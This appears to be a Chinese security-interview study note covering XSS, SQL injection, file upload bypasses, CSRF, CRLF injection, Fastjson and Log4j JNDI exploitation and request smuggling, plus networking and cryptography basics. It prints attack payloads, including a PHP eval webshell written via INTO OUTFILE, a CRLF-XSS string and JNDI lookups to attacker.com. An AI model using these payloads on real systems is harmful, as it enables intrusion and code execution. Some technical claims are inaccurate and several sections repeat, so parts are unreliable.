以下是对这些问题的回答,尽量做到全面且准确。但请注意,安全领域的知识不断更新,实际面试中还需要根据具体情况进行灵活应对。
XSS(跨站脚本攻击)
XSS对引号实体的绕过(a标签)
攻击者可以通过一些技巧绕过对引号的过滤。例如,如果过滤了双引号"
,可以使用单引号'
或HTML实体'
来替代。对于a
标签,攻击者可以构造类似以下的恶意代码:
1 | <a href='javascript:alert(1)'>Click Me</a> |
如果过滤了javascript:
,可以使用其他事件处理程序,如onerror
:
1 | <a href="http://example.com" onerror="alert(1)">Click Me</a> |
富文本编辑器解决XSS漏洞问题
富文本编辑器通常会采用以下方法来防止XSS攻击:
- 内容净化:在将用户输入的内容渲染到页面之前,对内容进行净化,移除或转义可能的恶意脚本。
- 白名单策略:只允许特定的HTML标签和属性,其他标签和属性都会被过滤掉。
- 使用安全的渲染方式:例如,使用
textContent
而不是innerHTML
来插入内容,避免HTML代码被解析执行。 - 内容安全策略(CSP):通过设置CSP头,限制富文本内容中可以加载的资源来源和执行的脚本。
富文本渲染的预防
富文本编辑器在渲染内容时,会通过以下方式预防XSS攻击:
- 转义HTML标签:将用户输入的HTML标签转义为文本形式,例如将
<script>
转义为<script>
。 - 限制脚本执行:通过CSP头或其他安全机制,限制富文本内容中脚本的执行。
- 沙箱环境:将富文本内容渲染在一个沙箱环境中,限制其对页面其他部分的访问和操作。
2. SQL注入
拿WebShell的方法
- 通过SQL注入写入文件:利用某些数据库的写文件功能,如MySQL的
INTO OUTFILE
,将WebShell代码写入到服务器的Web目录中。1
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
- 通过SQL注入修改数据库内容:如果数据库中存储了Web页面的HTML内容,可以通过SQL注入修改这些内容,嵌入WebShell代码。
- 通过SQL注入执行系统命令:在某些情况下,可以通过SQL注入执行系统命令,如MySQL的
sys_exec
函数(需要UDF支持)。
能写入的函数
- MySQL:
INTO OUTFILE
:将查询结果写入到文件中。LOAD_FILE
:读取文件内容,但不能直接写入。sys_exec
(需要UDF支持):执行系统命令。
- MSSQL:
xp_cmdshell
:执行系统命令。sp_oacreate
:通过OLE自动化过程执行系统命令。
- Oracle:
UTL_FILE
:用于文件操作。DBMS_SCHEDULER
:可以执行系统命令。
UDF提权的底层原理
UDF(User-Defined Function)提权是通过在数据库中创建自定义函数来实现的。以MySQL为例,攻击者首先需要将一个恶意的DLL文件(Windows)或SO文件(Linux)上传到服务器上,然后在MySQL中创建一个UDF函数,指向这个恶意的DLL或SO文件。当调用这个UDF函数时,恶意代码会被执行,从而实现提权或执行系统命令。
预编译
预编译是一种防止SQL注入的技术,通过将SQL语句和参数分开处理,避免了SQL语句被恶意拼接。预编译的底层原理是将SQL语句发送给数据库服务器进行解析和优化,然后将参数单独发送,由数据库服务器进行安全的参数替换。
不能预编译的情况
- 动态表名或列名:如果SQL语句中的表名或列名是动态生成的,无法使用预编译,因为预编译要求SQL语句的结构是固定的。
1
2$table = $_GET['table'];
$stmt = $pdo->prepare("SELECT * FROM $table"); - 复杂的动态SQL:某些复杂的SQL语句,如动态生成的
WHERE
子句,可能无法直接使用预编译。1
2
3
4
5
6
7
8$where = '';
if (isset($_GET['name'])) {
$where .= " AND name = '$_GET[name]'";
}
if (isset($_GET['age'])) {
$where .= " AND age = $_GET[age]";
}
$stmt = $pdo->prepare("SELECT * FROM users WHERE 1=1 $where");
ORDER BY
不能预编译的原因
ORDER BY
子句中的字段名通常是动态的,无法直接使用预编译。例如:
1 | $order = $_GET['order']; |
在这种情况下,$order
是动态的,无法作为预编译的一部分。如果直接拼接,可能会导致SQL注入。
这篇博客讲的很不错
ORDER BY
语法树报错的原因
ORDER BY
子句中的字段名是SQL语句的一部分,如果字段名被恶意篡改,可能会导致语法树解析错误。例如:
1 | SELECT * FROM users ORDER BY 1 DESC, 2 DESC; |
如果攻击者将ORDER BY
子句篡改为:
1 | SELECT * FROM users ORDER BY 1 DESC, 2 DESC, 3 DESC, 4 DESC; |
这可能会导致语法树解析错误,因为字段名3
和4
在表中不存在。
3. 文件上传
除了拿WebShell还能做什么
- 信息收集:上传一个脚本,用于收集服务器的配置信息、环境信息等。
- 横向移动:上传一个脚本,用于扫描内网其他服务器的漏洞。
- 数据泄露:上传一个脚本,用于窃取服务器上的敏感数据。
- DDoS攻击:上传一个脚本,用于发起分布式拒绝服务攻击。
传HTML后还能做什么
- 钓鱼攻击:上传一个HTML页面,用于模拟登录页面,窃取用户的用户名和密码。
- XSS攻击:上传一个HTML页面,用于嵌入恶意脚本,攻击访问该页面的用户。
- CSRF攻击:上传一个HTML页面,用于构造恶意的CSRF请求,攻击其他用户。
Apache PHP JPG白名单绕过
- MIME类型绕过:通过修改文件的MIME类型,使其看起来像一个合法的图片文件,但实际上是一个PHP文件。
- 文件名绕过:通过构造特殊的文件名,如
test.jpg.php
,绕过文件名的检查。 - 文件内容绕过:在图片文件的末尾添加PHP代码,然后通过某些漏洞(如PHP的
include
函数)执行该代码。
IIS白名单绕过
- 文件扩展名绕过:IIS可能对某些扩展名进行限制,但攻击者可以通过扩展名混淆(如
.asp;.jpg
)或利用IIS的解析漏洞(如IIS 6.0的~
漏洞)绕过限制。 - 文件头绕过:通过修改文件头,使其看起来像合法的图片文件(如添加
GIF89a
头),同时嵌入恶意代码。 - 双扩展名绕过:上传文件时,使用双扩展名(如
test.jpg.asp
),某些配置错误的IIS服务器可能会解析为ASP文件。 - 利用中间件漏洞:如果IIS与其他中间件(如PHP、ASP.NET)结合使用,可能通过中间件的漏洞绕过文件上传限制。
4. CSRF(跨站请求伪造)
Token的实现
CSRF攻击是攻击者通过伪造用户的请求,利用用户的认证信息(如Cookie)在目标网站上执行恶意操作。使用Token可以有效防止CSRF攻击,具体实现如下:
- 生成Token:在用户登录后,服务器生成一个随机的Token,并将其存储在用户的会话中(如Session)。
- 发送Token:在每个需要验证的表单或请求中,将Token作为隐藏字段或请求参数发送给服务器。
- 验证Token:服务器在处理请求时,会检查请求中的Token是否与会话中的Token一致。如果不一致,则拒绝请求。
例如,在HTML表单中:
1 | <form action="/submit" method="POST"> |
关于JWT
JWT(JSON Web Token)是一种开放标准(RFC 7519),用于在客户端和服务器之间安全地传递信息。JWT本身不是用来防止CSRF的,而是用于身份验证和授权。JWT的安全性依赖于签名验证,但如果不正确使用(如未设置HttpOnly属性或未验证Token来源),可能会被攻击者利用。
JSON Web Token(JWT)是一种开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于在各方之间作为JSON对象安全地传输信息。每个JWT都是经过数字签名的,因此您可以验证发送者的身份并确保数据在传输过程中未被篡改。
- JWT结构:JWT由三部分组成:Header(头部)、Payload(负载)和Signature(签名)。这三个部分串联成一个字符串,用点(.)分隔。
- Header:Header通常包含两部分信息:token的类型(即JWT)和所使用的签名算法(如HMAC SHA256或RSA)。例如:这个头部信息会被转换成Base64Url编码的字符串。
1
2
3
4{
"alg": "HS256",
"typ": "JWT"
} - Payload:Payload包含所谓的Claims(声明),它们是关于实体(通常是用户)和其他数据的陈述。Claims可以分为三类:标准声明、公共声明和私有声明。例如:标准声明包括例如iss(发行人)、exp(过期时间)、iat(发行时间)等字段。Payload同样会被转换成Base64Url编码的字符串。
1
2
3
4
5{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
} - Signature:Signature用于验证消息在传输过程中未被篡改,并且,对于使用私钥签名的token,还可以验证发送者的身份。Signature是使用Header中指定的算法和密钥生成的。生成方式如下:
- 对Header和Payload的Base64Url编码字符串进行连接
- 使用密钥对连接后的字符串进行签名
- 最终的Signature也是Base64Url编码的字符串。
- JWT的生成和验证:在用户登录成功后,服务器会生成一个JWT,然后将其发送给客户端。客户端在随后的请求中将JWT发送回服务器,服务器通过验证JWT的签名来确认其有效性。
- 安全性:JWT的安全性依赖于密钥的保密性。如果密钥泄露,攻击者可以生成自己的JWT或篡改现有的JWT。因此,密钥必须保密,且JWT不适合存储敏感信息。
5. 命令执行
命令执行的原因
命令执行漏洞通常是由于应用程序错误地将用户输入直接传递给系统命令或脚本解释器,导致攻击者可以注入恶意命令。常见的原因包括:
- 不安全的函数调用:如PHP中的
system()
、exec()
、shell_exec()
等函数,如果直接使用用户输入作为参数,可能会导致命令注入。 - 错误的输入验证:未对用户输入进行严格过滤或转义,导致恶意命令被注入。
- 错误的配置:某些系统配置错误(如开启危险的PHP函数)也可能导致命令执行漏洞。
8. 内网攻击
内网域控攻击
攻击内网域控(Domain Controller)通常包括以下步骤:
- 信息收集:通过工具(如
BloodHound
)分析域控结构,寻找权限提升路径。 - 横向移动:利用获取到的用户凭证,通过工具(如
PsExec
)在内网横向移动。 - 权限提升:通过漏洞(如
PrintNightmare
)或配置错误提升权限。 - 域控攻击:通过工具(如
Mimikatz
)获取域控的哈希值,进而尝试破解或传递哈希。
9. 业务漏洞
安全登录框设计
设计一个安全的登录框需要考虑以下方面:
- 输入验证:对用户名和密码进行严格验证,防止SQL注入、XSS等攻击。
- 密码策略:要求用户设置强密码,并限制密码尝试次数。
- 多因素认证:增加额外的认证方式(如短信验证码、指纹认证)。
- 日志记录:记录登录失败的尝试,以便发现异常行为。
校验合法登录的模式
- 基于密码的验证:用户名+密码,密码通过哈希存储。
- 多因素验证:用户名+密码+验证码(短信、邮件、App)。
- 生物识别验证:指纹、面部识别等。
- 令牌验证:使用硬件令牌或软件令牌生成一次性密码。
登录流程
- 用户输入用户名和密码。
- 系统对输入进行验证(如长度、特殊字符等)。
- 系统查询数据库,验证用户名和密码是否匹配。
- 如果匹配,生成会话令牌(如Cookie、JWT)并返回给用户。
- 如果不匹配,记录失败尝试并提示用户。
对安全信息和事件管理(SIEM)系统的理解
SIEM系统是一种安全解决方案,它能够收集、分析并报告来自各种安全设备和应用程序的数据。它的核心功能包括日志管理、实时监控、安全事件的检测和响应、合规性报告等。
SIEM 是 Security Information Event Management 的首字母简称,即安全信息与事件管理平台。 Gartner对于SIEM的定义是:安全信息和事件管理(SIEM)技术通过对来自各种事件和上下文数据源的安全事件的实时收集和历史分析来支持威胁检测和安全事件响应。它还通过分析来自这些来源的历史数据来支持合规报告和事件调查。SIEM技术的核心功能是广泛的事件收集,以及跨不同来源关联和分析事件的能力。SIEM技术已经存在了十多年,是从日志管理学科发展而来的。最初是基于传统的日志收集和管理,引入了对日志数据的长期存储,分析和报告,并将日志与威胁情报结合起来(SIM);后来具备可以解决系统安全事件的能力:通过对防病毒系统、防火墙和入侵检测等事件的聚合、关联,实时分析日志和事件数据,提供威胁监控和事件响应(SEM)。 高级的SIEM已经发展到包括用户行为分析(UEBA)以及安全编排自动响应(SOAR)。 用户行为分析(UEBA)- 高级SIEM超越了规则和相关性,利用AI和深度学习技术来研究人类行为的模式,有助于检测内部威胁、针对性攻击和欺骗。 安全编排自动化响应(SOAR) - SIEM与企业系统集成并自动化响应事件。例如,在攻击者可以加密数据之前,SIEM可能会检测到勒索软件的警报并在受影响的系统上自动执行应对操作。
- 日志管理:SIEM系统能够集中存储和分析来自不同源的日志数据,包括防火墙、入侵检测系统、服务器、应用程序等。
- 实时监控:通过实时分析日志数据,SIEM能够及时发现异常行为或安全威胁。
- 安全事件检测:利用预定义的规则或机器学习算法,SIEM可以识别出潜在的安全事件和攻击模式。
- 合规性报告:SIEM系统能够帮助组织满足各种合规性要求,如GDPR、HIPAA等,通过生成必要的报告和审计日志。
8. CSRF攻击及防范
CSRF(跨站请求伪造)是一种攻击方式,攻击者诱使用户在已经认证的网站上执行非本意的操作。例如,攻击者可以诱使用户点击一个链接,从而在用户已经登录的银行网站上执行转账操作。
防范措施包括:
- 使用Token:在每个表单或请求中加入一个唯一的Token,服务器在处理请求时验证Token的有效性。
- SameSite Cookie:设置Cookie的SameSite属性,限制Cookie在跨站请求中的发送。
- 验证Referer头:检查请求的Referer头,确保请求是从合法的页面发起的。
- 安全编程:在开发过程中,遵循安全编码的最佳实践,避免引入CSRF漏洞。
CRLF 漏洞如何利用最大化
CRLF是CR和LF两个字符的拼接,它们分别代表”回车+换行”(\r\n)“,全称为Carriage Return/Line Feed”,十六进制编码分别为0x0d和0x0a,URL编码为%0D和%0A。CR和LF组合在一起即CRLF命令,它表示键盘上的”Enter”键,许多应用程序和网络协议使用这些命令作为分隔符。
而在HTTP协议中,HTTP header之间是由一个CRLF字符序列分隔开的,HTTP Header与Body是用两个CRLF分隔的,浏览器根据这两个CRLF来取出HTTP内容并显示出来。
所以如果用户的输入在HTTP返回包的Header处回显,便可以通过CRLF来提前结束响应头,在响应内容处注入攻击脚本。因此CRLF Injection又叫HTTP响应拆分/截断(HTTP Response Splitting)简称HRS。
- 观察输出:首先,需要观察输出是否在返回头中,查看输入,可能是在URL值和参数、cookie头中。在过往的挖掘过程中,最常见的两种情况是使用输入参数创建Cookie和302跳转location处。
- 提交%0D%0A字符:提交
%0D%0A
字符,验证服务器是否响应%0D%0A
,若过滤可以通过双重编码绕过。 - 漏洞利用:使杀伤最大化,将漏洞转化为HTML注入,XSS,缓存等。例如,可以通过注入
X-XSS-Protection:0
来绕过浏览器的XSS保护机制,从而执行反射型XSS攻击。 - 构造Payload:构造特定的Payload来实现攻击目的。例如,可以使用以下Payload进行CRLF-XSS攻击:这个Payload首先设置
1
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
Content-Length
来控制响应的长度,然后注入X-XSS-Protection:0
来禁用XSS保护,最后注入XSS攻击代码。 - 防御手段:了解防御手段有助于更好地利用漏洞。防御手段包括对用户的数据进行合法性校验,对特殊的字符进行编码,如
<
、>
、’
、"
、CR、LF等,限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出,以防止注入自定义HTTP头。
还可以造成双重响应,类似下图
Fastjson的反序列化漏洞利用链主要涉及以下几个步骤:
Fastjson简单介绍
Fastjson反序列化漏洞 https://www.freebuf.com/articles/web/365680.html
- 目标类加载:Fastjson实例化JdbcRowSetImpl类(Oracle JDK内置类)。
- Setter方法触发:调用setDataSourceName(“ldap://attacker.com/Exploit”)设置JNDI数据源。
- JNDI上下文连接:调用setAutoCommit(true) → 触发connect()方法 → 向恶意LDAP服务器发起请求。
- 远程代码加载:LDAP服务器返回指向http://attacker.com/Exploit.class的Reference对象 → JVM加载并执行远程恶意类。
攻击者利用Fastjson的AutoType特性,发送恶意JSON数据,触发反序列化漏洞,从而执行恶意代码。例如,攻击者可以构造如下恶意JSON数据:有关Fastjson安全相关的内容可以看这个1
2
3
4
5{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/Exploit",
"autoCommit":true
}
还有这个
Log4j漏洞
特别是CVE-2021-44228,是一个由于JNDI查找功能导致的远程代码执行(RCE)漏洞。攻击者可以通过构造特制的恶意日志输入,利用Log4j的JNDI远程加载功能来执行代码。以下是该漏洞的详细利用链:
- 日志记录输入:攻击者控制的输入被记录为日志消息,例如通过Web应用程序的用户输入。
- JNDI注入:Log4j在处理日志事件时,会解析日志消息中的变量,包括JNDI查找表达式,如
${jndi:ldap://attacker.com/malicious}
。有关JNDI可以看这篇博客讲的很好 - JNDI服务查询:Log4j通过JNDI服务尝试解析表达式,这导致向攻击者控制的LDAP服务器发起查询。
- 恶意类加载:攻击者在LDAP服务器上托管恶意类,当Log4j尝试通过JNDI加载资源时,它会从LDAP服务器加载并实例化这个恶意类。
- 代码执行:恶意类在其构造函数或静态初始化块中包含恶意代码,当类被加载时,代码被执行,从而允许攻击者在受害者的系统上执行任意代码。
这种攻击链利用了Log4j的递归解析功能,该功能允许攻击者构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
TLS降级漏洞
TLS 1.0协议的安全问题尤为突出,存在多个已知漏洞,例如:BEAST攻击:利用TLS 1.0的加密弱点,攻击者可以窃取加密数据。POODLE攻击:通过降级攻击迫使服务器使用TLS 1.0,从而利用其漏洞解密数据。缺乏现代加密算法支持:TLS 1.0不支持更安全的加密算法(如AES-GCM),导致数据容易被破解。
POODLE(Padding Oracle On Downgraded Legacy Encryption)漏洞是一种影响SSLv3协议的安全漏洞,它使得攻击者能够通过中间人攻击的方式,窃取在HTTPS通信中的敏感信息,例如用户的登录凭证、cookie等。攻击者可以利用SSLv3协议的一种弱点来实现的。在SSLv3协议中,如果服务器端支持SSLv3协议,但客户端请求使用TLS协议时,服务器会自动降级到SSLv3协议。攻击者可以利用这个特性,通过逐字节地试探服务器和客户端之间的通信,来获取加密数据的明文。
POODLE攻击利用了SSL 3.0 和 TLS 1.0 中的漏洞。攻击者可以强制浏览器降级到 SSL 3.0,然后利用其中的漏洞破解加密。POODLE 攻击利用了 SSL 3.0 和 TLS 1.0 中的漏洞。攻击者可以强制浏览器降级到 SSL 3.0,然后利用其中的漏洞破解加密。由于 TLS 1.0 支持降级到 SSL 3.0,因此也受到 POODLE 攻击的影响。
HTTP请求走私漏洞
它允许攻击者利用HTTP协议的某些特性来绕过安全控制,执行未授权的操作。这种漏洞通常发生在使用HTTP/1协议的系统中,因为HTTP/1规范提供了两种不同的方法来指定请求的结束:Content-Length
头和 Transfer-Encoding
头。
HTTP请求走私漏洞产生的原因是前端和后端服务器对HTTP请求的处理方式不一致。例如,前端服务器可能使用Content-Length
标头来确定请求的结束,而后端服务器可能使用Transfer-Encoding
标头。这种不一致可能导致请求被错误地解析,从而允许攻击者插入额外的请求或修改现有请求。
攻击者可以通过构造特殊的HTTP请求来利用这种漏洞,例如:
- CL.TE漏洞:前端服务器处理
Content-Length
标头,并确定请求正文的长度为13字节,直到SMUGGLED
的末尾。此请求将转发到后端服务器。后端服务器处理Transfer-Encoding
标头,因此将消息正文视为使用分块编码。它处理第一个块,该块被声明为零长度,因此被视为终止请求。以下字节SMUGGLED
未被处理,后端服务器会将这些字节视为序列中下一个请求的开始。 - 绕过前端安全控制:在某些应用程序中,前端Web服务器用于实现一些安全控制,决定是否允许处理单个请求。允许的请求将转发到后端服务器,在那里它们被视为已通过前端控件。HTTP请求走私漏洞可用于绕过访问控制,方法是将请求走私到受限制的URL。
- 捕获其他用户的请求:如果应用程序包含任何类型的功能,允许您存储和稍后检索文本数据,则可能会使用它来捕获其他用户请求的内容。这些可能包括用户提交的会话令牌或其他敏感数据。
- 利用反射型XSS:如果应用程序容易受到HTTP请求走私的攻击,并且还包含反射型XSS,则可以使用请求走私攻击来攻击应用程序的其他用户。
- 执行Web缓存中毒:利用HTTP请求走私来执行Web缓存中毒攻击。如果前端基础设施的任何部分执行内容缓存,则可能会使用站外重定向响应来毒害缓存。这将使攻击持续存在,影响随后请求受影响URL的任何用户。
为了防止HTTP请求走私,可以采取以下措施:
- 确保所有服务器和代理都使用统一的方法来解析HTTP请求。
- 禁用不安全的HTTP特性,如
Transfer-Encoding
。 - 使用HTTP/2或更高版本的协议,这些协议提供了更严格的请求处理机制。
- 实施严格的输入验证和输出编码,以防止恶意数据的注入。
- 定期进行安全审计和渗透测试,以发现和修复潜在的安全漏洞。
开放最短路径优先(Open Shortest Path First,OSPF)是一种基于链路状态的内部网关协议(IGP),广泛应用于大型企业网络和互联网服务提供商(ISP)中。OSPF协议的核心之一是SPF(Shortest Path First)算法,即最短路径优先算法。SPF算法基于Dijkstra算法,用于计算网络中各节点之间的最优路径。
OSPF算法的基本原理
SPF算法是一种用于解决图论中单源最短路径问题的算法,最初由荷兰计算机科学家Edsger W. Dijkstra提出。在OSPF中,SPF算法用于计算路由器到网络中其他节点的最短路径。具体来说,每个运行OSPF的路由器都会维护一个链路状态数据库(LSDB),该数据库中存储了网络中所有路由器的链路状态信息。当LSDB更新完成后,路由器会运行SPF算法,生成一棵以该路由器为根的最短路径树(Shortest Path Tree, SPT),从而确定数据包转发的最佳路径。
SPF算法的实现步骤
- 初始化:选择一个起点(通常是运行SPF算法的路由器本身),并将起点的最短路径距离设为0。将所有其他节点的最短路径距离设为无穷大。创建一个未处理节点列表,将所有节点加入该列表。
- 选择最近节点:从未处理节点列表中选择一个距离起点最近的节点,标记为已处理。将该节点从未处理节点列表中移除。
- 更新邻居节点的距离:对于已处理节点的所有邻居节点,计算从起点到这些邻居节点的路径距离。如果新计算的距离小于当前记录的距离,则更新邻居节点的最短路径距离,并记录前驱节点(即从起点到该邻居节点的上一个节点)。
- 重复步骤2和3:重复上述步骤,直到所有节点都被标记为已处理。
- 生成最短路径树(SPT):SPF算法执行完毕后,会生成一棵以该路由器为根的最短路径树(SPT)。SPT描述了从该路由器到网络中所有其他节点的最优路径,路由器根据SPT中的信息更新其路由表,从而确定数据包转发的最佳路由。
半扫描
在半扫描中,仅发送SYN数据段,如果应答为RST,则端口处于关闭状态,若应答为SYN/ACK,则端口处于监听状态。不过这种方式需要较高的权限,而且部分防火墙已经开始对这种扫描方式做处理。
为什么半扫描需要较高权限?访问原始套接字:执行半扫描需要使用原始套接字(Raw Sockets),这允许直接访问和控制TCP/IP协议栈。原始套接字提供了对网络层协议的底层访问,使得发送和接收未加工的IP数据包成为可能。在大多数操作系统中,只有具有足够权限(通常是root或管理员权限)的用户才能创建和使用原始套接字。
Shiro漏洞特征
Apache Shiro是一个强大且易于使用的Java安全框架,提供了认证、授权、加密和会话管理。Shiro的一个著名漏洞是反序列化漏洞,这允许攻击者通过构造恶意的序列化数据来执行任意代码。
反序列化:攻击者利用Shiro的默认CookieRememberMeManager,该管理器使用Base64解码然后反序列化RememberMe Cookie。
漏洞利用:攻击者可以通过发送恶意构造的RememberMe Cookie来执行远程代码。
漏洞编号:如CVE-2016-4437。
550, 721:这些数字可能指的是网络协议或特定系统的错误代码。例如,在SMTP(邮件传输协议)中,550表示“请求的操作未完成,邮箱不可用”;721可能指的是拨号访问中的一个错误代码,表示“硬件故障”。
AES加密原理
AES(高级加密标准)是一种对称密钥加密标准,用于替代旧的DES加密标准。AES加密使用相同的密钥进行加密和解密。
进程和线程的区别
进程(Process):
- 进程是操作系统进行资源分配和调度的基本单位。
- 每个进程都有独立的内存空间,至少包括代码段、数据段和堆栈。
- 进程间的通信(IPC)复杂,因为它们有不同的内存空间,需要特定的机制来交换信息,如管道、消息队列、共享内存等。
- 进程的创建和销毁开销较大,因为涉及到资源的分配和回收。
线程(Thread): - 线程是进程中的一个执行流,是CPU调度和执行的基本单位。
- 线程共享进程的内存空间,包括代码段、数据段和堆,但每个线程有自己的堆栈。
- 线程间的通信更简单,因为它们共享同一内存空间,可以直接读写数据。
- 线程的创建和销毁开销较小,因为它们共享进程资源。
区别: - 进程是资源分配的单位,线程是CPU调度的单位。
- 进程有独立的内存空间,线程共享内存空间。
- 进程间通信复杂,线程间通信简单。
- 进程创建销毁开销大,线程创建销毁开销小。
(2)冒泡排序原理
冒泡排序是一种简单的排序算法,它重复地遍历要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。
原理:
- 比较相邻的元素。如果第一个比第二个大,就交换他们两个。
- 对每一对相邻元素做同样的工作,从开始第一对到结尾的最后一对。这步做完后,最后的元素会是最大的数。
- 针对所有的元素重复以上的步骤,除了最后一个。
- 持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较。
特点: - 冒泡排序是稳定的排序方法。
- 平均时间复杂度和最差时间复杂度为O(n^2),最好时间复杂度为O(n)。
- 冒泡排序在实现上很简单,但效率不高。
(1)进程和线程的区别
进程(Process):
- 进程是操作系统进行资源分配和调度的基本单位。
- 每个进程都有独立的内存空间,至少包括代码段、数据段和堆栈。
- 进程间的通信(IPC)复杂,因为它们有不同的内存空间,需要特定的机制来交换信息,如管道、消息队列、共享内存等。
- 进程的创建和销毁开销较大,因为涉及到资源的分配和回收。
线程(Thread):
- 线程是进程中的一个执行流,是CPU调度和执行的基本单位。
- 线程共享进程的内存空间,包括代码段、数据段和堆,但每个线程有自己的堆栈。
- 线程间的通信更简单,因为它们共享同一内存空间,可以直接读写数据。
- 线程的创建和销毁开销较小,因为它们共享进程资源。
区别:
- 进程是资源分配的单位,线程是CPU调度的单位。
- 进程有独立的内存空间,线程共享内存空间。
- 进程间通信复杂,线程间通信简单。
- 进程创建销毁开销大,线程创建销毁开销小。
(2)冒泡排序原理
冒泡排序是一种简单的排序算法,它重复地遍历要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。
原理:
- 比较相邻的元素。如果第一个比第二个大,就交换他们两个。
- 对每一对相邻元素做同样的工作,从开始第一对到结尾的最后一对。这步做完后,最后的元素会是最大的数。
- 针对所有的元素重复以上的步骤,除了最后一个。
- 持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较。
特点:
- 冒泡排序是稳定的排序方法。
- 平均时间复杂度和最差时间复杂度为O(n^2),最好时间复杂度为O(n)。
- 冒泡排序在实现上很简单,但效率不高。
(6)对称加密、非对称加密以及hash算法举例及算法流程细节
对称加密:
- AES(高级加密标准):
- 初始化:选择一个密钥和一个初始化向量(IV)。
- 加密:使用密钥和IV对数据进行加密。
- 解密:使用相同的密钥和IV对加密数据进行解密。
- DES(数据加密标准):
- 初始化:选择一个密钥。
- 加密:使用密钥对数据进行加密。
- 解密:使用相同的密钥对加密数据进行解密。
非对称加密:
- RSA:
- 密钥生成:选择两个大素数p和q,计算n=pq,计算φ(n)=(p-1)(q-1),选择一个整数e,使得1<e<φ(n)且gcd(e,φ(n))=1,计算d,使得d*e≡1 (mod φ(n))。
- 加密:使用公钥(e, n)对数据进行加密,C ≡ M^e (mod n)。
- 解密:使用私钥(d, n)对加密数据进行解密,M ≡ C^d (mod n)。
- ECC(椭圆曲线密码学):
- 密钥生成:选择一个椭圆曲线和一个基点G,生成私钥k,计算公钥K=kG。
- 加密:使用接收方的公钥K对数据进行加密。
- 解密:使用私钥k对加密数据进行解密。
Hash算法:
- SHA-256(安全哈希算法256位):
- 预处理:将输入消息填充到长度模512位等于448位,然后添加长度值。
- 初始化:设置初始哈希值。
- 处理消息:将消息分成512位的块,对每个块进行处理。
- 输出:输出最终的哈希值。
- MD5(消息摘要算法5):
- 预处理:将输入消息填充到长度模64位等于56位,然后添加长度值。
- 初始化:设置初始哈希值。
- 处理消息:将消息分成512位的块,对每个块进行处理。
- 输出:输出最终的哈希值。
(7)SHA-1和SHA-2区别
SHA-1:
- 输出长度:160位(20字节)。
- 安全性:已被证明存在弱点,可以被碰撞攻击。
- 速度:相对较快。
SHA-2:
- 输出长度:可以是224位、256位、384位或512位。
- 安全性:目前被认为是安全的,但随着计算能力的提高,其安全性可能会受到挑战。
- 速度:相对较慢,但提供了更高的安全性。
区别:
- 输出长度:SHA-1的输出长度固定为160位,而SHA-2可以有不同的输出长度。
- 安全性:SHA-2比SHA-1更安全,SHA-1已被证明存在弱点,可以被碰撞攻击。
- 速度:SHA-1的速度相对较快,但SHA-2提供了更高的安全性,尽管速度相对较慢。
总的来说,SHA-2比SHA-1更安全,更推荐使用SHA-2进行哈希运算。
详细讲解下ECC
ECC(椭圆曲线密码学)是一种基于椭圆曲线数学的非对称加密算法。ECC的安全性基于椭圆曲线上的离散对数问题(ECDLP),该问题的难度使得ECC在较短的密钥长度下也能提供与RSA等传统非对称加密算法相当的安全性。ECC的主要优势包括:
- 密钥长度短:ECC使用较短的密钥长度即可达到与RSA相同的安全级别,例如,256位的ECC密钥相当于3072位的RSA密钥。
- 计算效率高:ECC的数学运算相对简单,计算效率高,适合在资源受限的环境中使用,如移动设备和物联网设备。
- 带宽要求低:由于密钥长度短,ECC在传输密钥时占用的带宽较少。
ECC的加密和解密过程涉及椭圆曲线上的点运算,包括点加法和标量乘法。这些运算的复杂性使得ECC在加密和数字签名方面非常有效。
逆向相关
抓包工具:
- mitmproxy:一款支持HTTP/HTTPS的中间人代理工具,可以用于拦截、修改、保存HTTP/HTTPS请求。mitmproxy提供了命令行界面(mitmproxy)、简单的终端输出(mitmdump)和基于Web的界面(mitmweb)。它支持Python脚本,可以对接Python对请求进行处理,实现高度定制化的抓包和数据处理。
- Wireshark:一款网络协议分析工具,可以捕获和分析网络数据包,支持多种协议。
- Burp Suite:一款用于网络安全测试的集成平台,特别适用于Web应用程序的安全测试。
获取数据包的方法:
- 抓包工具:使用如mitmproxy、Wireshark、Burp Suite等工具进行网络数据包的捕获和分析。
- API Hook:通过Hook API调用,拦截和记录应用与系统或网络的交互数据。
- 日志记录:某些应用会在日志中记录详细的运行信息,可以通过分析日志来获取数据包内容。
- 内存转储:通过转储应用的内存,提取其中的网络数据包信息。
爬虫相关
爬虫类型:
- Web爬虫:用于爬取网页内容,提取结构化数据。常见的Web爬虫包括Scrapy、Beautiful Soup等。
加密数据问题:
- 处理方法:在爬取加密数据时,需要分析加密算法和加密过程。例如,对于QQ音乐中的sign加密,可以通过逆向工程分析其加密逻辑,找到解密方法或模拟加密过程来获取有效数据。
动态网页爬取:
- 技术手段:动态网页通常依赖JavaScript渲染内容,爬虫需要模拟浏览器行为,执行JavaScript代码以获取完整页面内容。常用的工具包括Selenium、Puppeteer等,它们可以控制浏览器自动化操作,等待页面渲染完成后提取数据。
- AJAX处理:对于通过AJAX加载数据的网页,爬虫需要分析AJAX请求的URL、参数和请求头,直接模拟这些请求来获取数据,而不是爬取整个页面。
编译和非编译的区别
- 编译:编译是将源代码转换成机器码或字节码的过程。编译器在程序运行前完成这一工作,生成可执行文件。例如,C++代码通过编译器(如g++)编译成二进制文件:
1
g++ hello.cpp -o hello
- 非编译(解释执行):解释执行是指源代码在运行时逐行翻译成机器码并执行,不需要事先编译。例如,Python脚本由Python解释器逐行执行:
1
python hello.py
4. CodeQL是否可以被修改为无需编译的工具
